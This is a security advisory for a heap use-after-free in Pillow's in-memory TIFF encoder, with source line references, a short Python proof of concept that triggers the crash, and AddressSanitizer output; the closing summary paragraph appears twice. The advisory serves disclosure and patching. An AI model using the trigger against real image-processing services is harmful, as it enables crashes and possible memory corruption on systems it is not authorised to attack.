CVE-2026-112396

### Summary Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution. ### Details The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`): - `src/libImaging/TiffDecode.c:1041-1046` Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set: - `src/encode.c:99-101` - `src/libImaging/TiffDecode.c:955` `TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`: - `src/libImaging/TiffDecode.c:103-115` The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write. ### PoC ```python import io from PIL import Image # In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer # data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the # TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer. im = Image.new("L", (64, 64)) buf = io.BytesIO() im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor ``` Run it: ``` $ python 01_poc.py PredictorSetup: Floating point "Predictor" not supported with 1 data format. OSError: encoder error -2 when writing image file Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory. Under AddressSanitizer (build with `-fsanitize=address`), relevant frames: ``` ==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804 WRITE of size 4 at 0x7ef737b48804 thread T0 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #3 TIFFFlush libtiff.so.6 #5 TIFFClose libtiff.so.6 #6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955 #7 _dealloc src/encode.c:100 freed by thread T0 here: #1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045 #2 _encode src/encode.c:139 previously allocated by thread T0 here: #1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863 #2 PyImaging_LibTiffEncoderNew src/encode.c:757 SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc ``` The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`. ### Impact Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.